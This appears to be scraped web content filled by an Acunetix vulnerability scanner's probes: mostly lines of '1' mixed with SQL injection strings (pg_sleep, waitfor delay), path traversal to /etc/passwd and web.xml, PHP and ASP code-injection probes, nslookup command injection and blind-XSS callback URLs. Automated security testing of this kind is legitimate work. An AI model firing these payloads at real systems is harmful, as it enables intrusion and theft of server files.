1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

JyI=

1

1

1

1

<!–

1

‘”

@@Wqt3K

1

1

1

1

1

1

/www.vulnweb.com

1

1

1

1

1

1

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

1

\

1

1′”

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

http://hit2UbPIsvkn0.bxss.me/

1

1

4985.html/.

1

4985.html

1

1

1

1

1

1

4985.html

1

1

1

1

1

1

1

1

1

1

${@print(md5(acunetix_wvs_security_test))}\

${@print(md5(acunetix_wvs_security_test))}

“;print(md5(acunetix_wvs_security_test));$a=”

1

1

1

1

‘;print(md5(acunetix_wvs_security_test));$a=’

1

1

1

1

1

;print(md5(acunetix_wvs_security_test));

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

WEB-INF\web.xml

1

1

WEB-INF/web.xml

‘”()

1

1

1

1

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

1

…………….windowswin.ini

1

1

1

C:\WINDOWS\system32\drivers\etc\hosts

1

/WEB-INF/web.xml

1

1

file:///etc/passwd

1

1

1

1

1

E2lh5DPM’));select pg_sleep(3); —

1

vKVXAP8D’);select pg_sleep(0); —

^(#$!@#$)(()))******

!(()&&!|*|*|

prDNXkEj’);select pg_sleep(9); —

)

%2fetc%2fpasswd

1

9bhkrRRk’);select pg_sleep(3); —

1

1

1

1

1

1

testasp.vulnweb.com

.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

http://testasp.vulnweb.com/t/fit.txt?.jpg

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

5w01x4YA’;select pg_sleep(3); —

1

-1));select pg_sleep(6); —

-1));select pg_sleep(3); —

1

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

http://testasp.vulnweb.com/t/fit.txt

1

1

1some_inexistent_file_with_long_name.jpg

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

1

1&n993164=v904858

-1);select pg_sleep(3); —

-1;select pg_sleep(3); —

1

1

SukdxksE’; waitfor delay ‘0:0:9’ —

1

1 waitfor delay ‘0:0:3’ —

1

1 waitfor delay ‘0:0:9’ —

1

1

1

1

1

1

1

1

-1); waitfor delay ‘0:0:9’ —

1

1

-1; waitfor delay ‘0:0:0’ —

1

1

1

-1; waitfor delay ‘0:0:6’ —

1

1

1

1

1

1

1

1

-1; waitfor delay ‘0:0:9’ —

1

1

1

1

1

1

0″XOR(if(now()=sysdate(),sleep(9),0))XOR”Z

1

0’XOR(if(now()=sysdate(),sleep(6),0))XOR’Z

1

if(now()=sysdate(),sleep(6),0)

1

-1″ OR 2+239-239-1=0+0+0+1 —

-1′ OR 2+919-919-1=0+0+0+1 or ‘ofAPpUOS’=’

-1′ OR 2+791-791-1=0+0+0+1 —

1

-1 OR 2+698-698-1=0+0+0+1

1

-1 OR 2+671-671-1=0+0+0+1 —

J8xNzX2i

1

1

1

1

1

1

1

1

1

1

&nslookup k0X4JhAV&’\”`0&nslookup k0X4JhAV&`’

$(nslookup JixplOsE)

set|set&set

1

X068KnhT

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

“+response.write(9438759*9431309)+”

‘+response.write(9438759*9431309)+’

response.write(9438759*9431309)

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

JyI=

@@Jx23u

1

1

1

<!–

‘”

1

1

1

\

1

1

/www.vulnweb.com

1′”

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

http://hitRNz7Hoso0T.bxss.me/

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

4985.html/.

1

1

4985.html

1

${@print(md5(acunetix_wvs_security_test))}\

4985.html

${@print(md5(acunetix_wvs_security_test))}

“;print(md5(acunetix_wvs_security_test));$a=”

1

‘;print(md5(acunetix_wvs_security_test));$a=’

;print(md5(acunetix_wvs_security_test));

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

‘”()

1

1

1

1

1

1

1

1

1

1

^(#$!@#$)(()))******

1

!(()&&!|*|*|

1

)

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1&n929819=v956473

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

testasp.vulnweb.com

1

http://testasp.vulnweb.com/t/fit.txt?.jpg

http://testasp.vulnweb.com/t/fit.txt

1some_inexistent_file_with_long_name.jpg

1

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

1

1

1

1

1

1

1

1

WEB-INF\web.xml

1

WEB-INF/web.xml

1

1

1

1

1

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

…………….windowswin.ini

1

1

1

C:\WINDOWS\system32\drivers\etc\hosts

1

1

1

1

/WEB-INF/web.xml

1

1

file:///etc/passwd

1

1

1

1

1

1

%2fetc%2fpasswd

.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

1

1

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

1

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

1

1

1

1

1

1

1

1

1

1

1

75zxgaoD’));select pg_sleep(3); —

Cns0QAFG’);select pg_sleep(3); —

qRwop37N’;select pg_sleep(3); —

-1));select pg_sleep(10); —

-1);select pg_sleep(10); —

1

laRyyFZ6′; waitfor delay ‘0:0:10’ —

1 waitfor delay ‘0:0:10’ —

1

1

1

1

1

1

1

1

-1; waitfor delay ‘0:0:7’ —

0″XOR(if(now()=sysdate(),sleep(7),0))XOR”Z

0’XOR(if(now()=sysdate(),sleep(7),0))XOR’Z

if(now()=sysdate(),sleep(7),0)

1

-1″ OR 2+370-370-1=0+0+0+1 —

-1′ OR 2+968-968-1=0+0+0+1 or ‘6KZe69rv’=’

xlabdJPJ

1

1

-1′ OR 2+883-883-1=0+0+0+1 —

1

-1 OR 2+733-733-1=0+0+0+1

&nslookup YmNxuwsU&’\”`0&nslookup YmNxuwsU&`’

-1 OR 2+216-216-1=0+0+0+1 —

AehdH5tv

$(nslookup 2BZFe1T2)

1

set|set&set

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

“+response.write(9101641*9360392)+”

‘+response.write(9101641*9360392)+’

response.write(9101641*9360392)

1

1

1